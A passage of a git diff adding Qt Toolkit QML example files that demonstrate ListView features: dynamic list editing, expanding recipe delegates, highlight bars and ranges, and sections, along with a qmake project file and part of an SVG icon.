+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/list-delete.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/minus-sign.png b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/minus-sign.png
new file mode 100644
index 00000000..d6f233d7
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/minus-sign.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/moreDown.png b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/moreDown.png
new file mode 100644
index 00000000..31a35d5c
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/moreDown.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/moreUp.png b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/moreUp.png
new file mode 100644
index 00000000..fefb9c90
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/moreUp.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/pancakes.jpg b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/pancakes.jpg
new file mode 100644
index 00000000..60c43963
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/pancakes.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/plus-sign.png b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/plus-sign.png
new file mode 100644
index 00000000..40df1134
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/plus-sign.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/vegetable-soup.jpg b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/vegetable-soup.jpg
new file mode 100644
index 00000000..9dce3320
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/vegetable-soup.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/dynamiclist.qml b/examples/declarative/modelviews/listview/highlight/qml/highlight/dynamiclist.qml
new file mode 100644
index 00000000..0144b0d6
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/dynamiclist.qml
@@ -0,0 +1,203 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import "content"
+
+// This example shows how items can be dynamically added to and removed from
+// a ListModel, and how these list modifications can be animated.
+
+Rectangle {
+ id: container
+ width: 500; height: 400
+ color: "#343434"
+
+ // The model:
+ ListModel {
+ id: fruitModel
+
+ ListElement {
+ name: "Apple"; cost: 2.45
+ attributes: [
+ ListElement { description: "Core" },
+ ListElement { description: "Deciduous" }
+ ]
+ }
+ ListElement {
+ name: "Banana"; cost: 1.95
+ attributes: [
+ ListElement { description: "Tropical" },
+ ListElement { description: "Seedless" }
+ ]
+ }
+ ListElement {
+ name: "Cumquat"; cost: 3.25
+ attributes: [
+ ListElement { description: "Citrus" }
+ ]
+ }
+ ListElement {
+ name: "Durian"; cost: 9.95
+ attributes: [
+ ListElement { description: "Tropical" },
+ ListElement { description: "Smelly" }
+ ]
+ }
+ }
+
+ // The delegate for each fruit in the model:
+ Component {
+ id: listDelegate
+
+ Item {
+ id: delegateItem
+ width: listView.width; height: 55
+ clip: true
+
+ Row {
+ anchors.verticalCenter: parent.verticalCenter
+ spacing: 10
+
+ Column {
+ Image {
+ source: "content/pics/arrow-up.png"
+ MouseArea { anchors.fill: parent; onClicked: fruitModel.move(index, index-1, 1) }
+ }
+ Image { source: "content/pics/arrow-down.png"
+ MouseArea { anchors.fill: parent; onClicked: fruitModel.move(index, index+1, 1) }
+ }
+ }
+
+ Column {
+ anchors.verticalCenter: parent.verticalCenter
+
+ Text {
+ text: name
+ font.pixelSize: 15
+ color: "white"
+ }
+ Row {
+ spacing: 5
+ Repeater {
+ model: attributes
+ Text { text: description; color: "White" }
+ }
+ }
+ }
+ }
+
+ Row {
+ anchors.verticalCenter: parent.verticalCenter
+ anchors.right: parent.right
+ spacing: 10
+
+ PressAndHoldButton {
+ anchors.verticalCenter: parent.verticalCenter
+ source: "content/pics/plus-sign.png"
+ onClicked: fruitModel.setProperty(index, "cost", cost + 0.25)
+ }
+
+ Text {
+ id: costText
+ anchors.verticalCenter: parent.verticalCenter
+ text: '$' + Number(cost).toFixed(2)
+ font.pixelSize: 15
+ color: "white"
+ font.bold: true
+ }
+
+ PressAndHoldButton {
+ anchors.verticalCenter: parent.verticalCenter
+ source: "content/pics/minus-sign.png"
+ onClicked: fruitModel.setProperty(index, "cost", Math.max(0,cost-0.25))
+ }
+
+ Image {
+ source: "content/pics/list-delete.png"
+ MouseArea { anchors.fill:parent; onClicked: fruitModel.remove(index) }
+ }
+ }
+
+ // Animate adding and removing of items:
+
+ ListView.onAdd: SequentialAnimation {
+ PropertyAction { target: delegateItem; property: "height"; value: 0 }
+ NumberAnimation { target: delegateItem; property: "height"; to: 55; duration: 250; easing.type: Easing.InOutQuad }
+ }
+
+ ListView.onRemove: SequentialAnimation {
+ PropertyAction { target: delegateItem; property: "ListView.delayRemove"; value: true }
+ NumberAnimation { target: delegateItem; property: "height"; to: 0; duration: 250; easing.type: Easing.InOutQuad }
+
+ // Make sure delayRemove is set back to false so that the item can be destroyed
+ PropertyAction { target: delegateItem; property: "ListView.delayRemove"; value: false }
+ }
+ }
+ }
+
+ // The view:
+ ListView {
+ id: listView
+ anchors.fill: parent; anchors.margins: 20
+ model: fruitModel
+ delegate: listDelegate
+ }
+
+ Row {
+ anchors { left: parent.left; bottom: parent.bottom; margins: 20 }
+ spacing: 10
+
+ TextButton {
+ text: "Add an item"
+ onClicked: {
+ fruitModel.append({
+ "name": "Pizza Margarita",
+ "cost": 5.95,
+ "attributes": [{"description": "Cheese"}, {"description": "Tomato"}]
+ })
+ }
+ }
+
+ TextButton {
+ text: "Remove all items"
+ onClicked: fruitModel.clear()
+ }
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/expandingdelegates.qml b/examples/declarative/modelviews/listview/highlight/qml/highlight/expandingdelegates.qml
new file mode 100644
index 00000000..152086cb
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/expandingdelegates.qml
@@ -0,0 +1,202 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+// This example illustrates expanding a list item to show a more detailed view.
+
+Rectangle {
+ id: page
+ width: 400; height: 240
+ color: "black"
+
+ // Delegate for the recipes. This delegate has two modes:
+ // 1. List mode (default), which just shows the picture and title of the recipe.
+ // 2. Details mode, which also shows the ingredients and method.
+ Component {
+ id: recipeDelegate
+
+ Item {
+ id: recipe
+
+ // Create a property to contain the visibility of the details.
+ // We can bind multiple element's opacity to this one property,
+ // rather than having a "PropertyChanges" line for each element we
+ // want to fade.
+ property real detailsOpacity : 0
+
+ width: listView.width
+ height: 70
+
+ // A simple rounded rectangle for the background
+ Rectangle {
+ id: background
+ x: 2; y: 2; width: parent.width - x*2; height: parent.height - y*2
+ color: "ivory"
+ border.color: "orange"
+ radius: 5
+ }
+
+ // This mouse region covers the entire delegate.
+ // When clicked it changes mode to 'Details'. If we are already
+ // in Details mode, then no change will happen.
+ MouseArea {
+ anchors.fill: parent
+ onClicked: recipe.state = 'Details';
+ }
+
+ // Lay out the page: picture, title and ingredients at the top, and method at the
+ // bottom. Note that elements that should not be visible in the list
+ // mode have their opacity set to recipe.detailsOpacity.
+ Row {
+ id: topLayout
+ x: 10; y: 10; height: recipeImage.height; width: parent.width
+ spacing: 10
+
+ Image {
+ id: recipeImage
+ width: 50; height: 50
+ source: picture
+ }
+
+ Column {
+ width: background.width - recipeImage.width - 20; height: recipeImage.height
+ spacing: 5
+
+ Text {
+ text: title
+ font.bold: true; font.pointSize: 16
+ }
+
+ Text {
+ text: "Ingredients"
+ font.pointSize: 12; font.bold: true
+ opacity: recipe.detailsOpacity
+ }
+
+ Text {
+ text: ingredients
+ wrapMode: Text.WordWrap
+ width: parent.width
+ opacity: recipe.detailsOpacity
+ }
+ }
+ }
+
+ Item {
+ id: details
+ x: 10; width: parent.width - 20
+ anchors { top: topLayout.bottom; topMargin: 10; bottom: parent.bottom; bottomMargin: 10 }
+ opacity: recipe.detailsOpacity
+
+ Text {
+ id: methodTitle
+ anchors.top: parent.top
+ text: "Method"
+ font.pointSize: 12; font.bold: true
+ }
+
+ Flickable {
+ id: flick
+ width: parent.width
+ anchors { top: methodTitle.bottom; bottom: parent.bottom }
+ contentHeight: methodText.height
+ clip: true
+
+ Text { id: methodText; text: method; wrapMode: Text.WordWrap; width: details.width }
+ }
+
+ Image {
+ anchors { right: flick.right; top: flick.top }
+ source: "content/pics/moreUp.png"
+ opacity: flick.atYBeginning ? 0 : 1
+ }
+
+ Image {
+ anchors { right: flick.right; bottom: flick.bottom }
+ source: "content/pics/moreDown.png"
+ opacity: flick.atYEnd ? 0 : 1
+ }
+ }
+
+ // A button to close the detailed view, i.e. set the state back to default ('').
+ TextButton {
+ y: 10
+ anchors { right: background.right; rightMargin: 10 }
+ opacity: recipe.detailsOpacity
+ text: "Close"
+
+ onClicked: recipe.state = '';
+ }
+
+ states: State {
+ name: "Details"
+
+ PropertyChanges { target: background; color: "white" }
+ PropertyChanges { target: recipeImage; width: 130; height: 130 } // Make picture bigger
+ PropertyChanges { target: recipe; detailsOpacity: 1; x: 0 } // Make details visible
+ PropertyChanges { target: recipe; height: listView.height } // Fill the entire list area with the detailed view
+
+ // Move the list so that this item is at the top.
+ PropertyChanges { target: recipe.ListView.view; explicit: true; contentY: recipe.y }
+
+ // Disallow flicking while we're in detailed view
+ PropertyChanges { target: recipe.ListView.view; interactive: false }
+ }
+
+ transitions: Transition {
+ // Make the state changes smooth
+ ParallelAnimation {
+ ColorAnimation { property: "color"; duration: 500 }
+ NumberAnimation { duration: 300; properties: "detailsOpacity,x,contentY,height,width" }
+ }
+ }
+ }
+ }
+
+ // The actual list
+ ListView {
+ id: listView
+ anchors.fill: parent
+ model: RecipesModel {}
+ delegate: recipeDelegate
+ }
+}
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/highlight.qml b/examples/declarative/modelviews/listview/highlight/qml/highlight/highlight.qml
new file mode 100644
index 00000000..ebce5e34
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/highlight.qml
@@ -0,0 +1,99 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This example shows how to create your own highlight delegate for a ListView
+// that uses a SpringAnimation to provide custom movement when the
+// highlight bar is moved between items.
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ width: 200; height: 300
+
+ // Define a delegate component. A component will be
+ // instantiated for each visible item in the list.
+ Component {
+ id: petDelegate
+ Item {
+ id: wrapper
+ width: 200; height: 55
+ Column {
+ Text { text: 'Name: ' + name }
+ Text { text: 'Type: ' + type }
+ Text { text: 'Age: ' + age }
+ }
+ // indent the item if it is the current item
+ states: State {
+ name: "Current"
+ when: wrapper.ListView.isCurrentItem
+ PropertyChanges { target: wrapper; x: 20 }
+ }
+ transitions: Transition {
+ NumberAnimation { properties: "x"; duration: 200 }
+ }
+ }
+ }
+
+ // Define a highlight with customised movement between items.
+ Component {
+ id: highlightBar
+ Rectangle {
+ width: 200; height: 50
+ color: "#FFFF88"
+ y: listView.currentItem.y;
+ Behavior on y { SpringAnimation { spring: 2; damping: 0.1 } }
+ }
+ }
+
+ ListView {
+ id: listView
+ width: 200; height: parent.height
+
+ model: PetsModel {}
+ delegate: petDelegate
+ focus: true
+
+ // Set the highlight delegate. Note we must also set highlightFollowsCurrentItem
+ // to false so the highlight delegate can control how the highlight is moved.
+ highlight: highlightBar
+ highlightFollowsCurrentItem: false
+ }
+}
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/highlightranges.qml b/examples/declarative/modelviews/listview/highlight/qml/highlight/highlightranges.qml
new file mode 100644
index 00000000..eda6056b
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/highlightranges.qml
@@ -0,0 +1,122 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: root
+ property int current: 0
+ width: 600; height: 300
+
+ // This example shows the same model in three different ListView items,
+ // with different highlight ranges. The highlight ranges are set by the
+ // preferredHighlightBegin and preferredHighlightEnd properties in ListView.
+ //
+ // The first ListView does not set a highlight range, so its currentItem
+ // can move freely within the visible area. If it moves outside the
+ // visible area, the view is automatically scrolled to keep the current
+ // item visible.
+ //
+ // The second ListView sets a highlight range which attempts to keep the
+ // current item within the the bounds of the range. However,
+ // items will not scroll beyond the beginning or end of the view,
+ // forcing the highlight to move outside the range at the ends.
+ //
+ // The third ListView sets the highlightRangeMode to StrictlyEnforceRange
+ // and sets a range smaller than the height of an item. This
+ // forces the current item to change when the view is flicked,
+ // since the highlight is unable to move.
+ //
+ // All ListViews bind their currentIndex to the root.current property.
+ // The first ListView sets root.current whenever its currentIndex changes
+ // due to keyboard interaction.
+ // Flicking the third ListView with the mouse also changes root.current.
+
+ ListView {
+ id: list1
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
+ highlight: Rectangle { color: "lightsteelblue" }
+ currentIndex: root.current
+ onCurrentIndexChanged: root.current = currentIndex
+ focus: true
+ }
+
+ ListView {
+ id: list2
+ x: list1.width
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
+ highlight: Rectangle { color: "yellow" }
+ currentIndex: root.current
+ preferredHighlightBegin: 80; preferredHighlightEnd: 220
+ highlightRangeMode: ListView.ApplyRange
+ }
+
+ ListView {
+ id: list3
+ x: list1.width + list2.width
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
+ highlight: Rectangle { color: "yellow" }
+ currentIndex: root.current
+ onCurrentIndexChanged: root.current = currentIndex
+ preferredHighlightBegin: 125; preferredHighlightEnd: 125
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ }
+
+ // The delegate for each list
+ Component {
+ id: petDelegate
+ Column {
+ width: 200
+ Text { text: 'Name: ' + name }
+ Text { text: 'Type: ' + type }
+ Text { text: 'Age: ' + age }
+ }
+ }
+}
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/sections.qml b/examples/declarative/modelviews/listview/highlight/qml/highlight/sections.qml
new file mode 100644
index 00000000..4589bef8
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/sections.qml
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This example shows how a ListView can be separated into sections using
+// the ListView.section attached property.
+
+import QtQuick 1.0
+
+//! [0]
+Rectangle {
+ id: container
+ width: 200
+ height: 250
+
+ ListModel {
+ id: animalsModel
+ ListElement { name: "Parrot"; size: "Small" }
+ ListElement { name: "Guinea pig"; size: "Small" }
+ ListElement { name: "Dog"; size: "Medium" }
+ ListElement { name: "Cat"; size: "Medium" }
+ ListElement { name: "Elephant"; size: "Large" }
+ }
+
+ // The delegate for each section header
+ Component {
+ id: sectionHeading
+ Rectangle {
+ width: container.width
+ height: childrenRect.height
+ color: "lightsteelblue"
+
+ Text {
+ text: section
+ font.bold: true
+ }
+ }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: animalsModel
+ delegate: Text { text: name }
+
+ section.property: "size"
+ section.criteria: ViewSection.FullString
+ section.delegate: sectionHeading
+ }
+}
+//! [0]
+
diff --git a/examples/declarative/modelviews/listview/highlightranges/highlightranges.png b/examples/declarative/modelviews/listview/highlightranges/highlightranges.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/highlightranges.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlightranges/highlightranges.pro b/examples/declarative/modelviews/listview/highlightranges/highlightranges.pro
new file mode 100644
index 00000000..126b2a11
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/highlightranges.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/highlightranges
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE7A0AE23
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/listview/highlightranges
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/listview/highlightranges/highlightranges.qmlproject b/examples/declarative/modelviews/listview/highlightranges/highlightranges.qmlproject
new file mode 100644
index 00000000..2688410f
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/highlightranges.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/highlightranges"
+ }
+ JavaScriptFiles {
+ directory: "qml/highlightranges"
+ }
+ ImageFiles {
+ directory: "qml/highlightranges"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/listview/highlightranges/highlightranges.svg b/examples/declarative/modelviews/listview/highlightranges/highlightranges.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/highlightranges.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
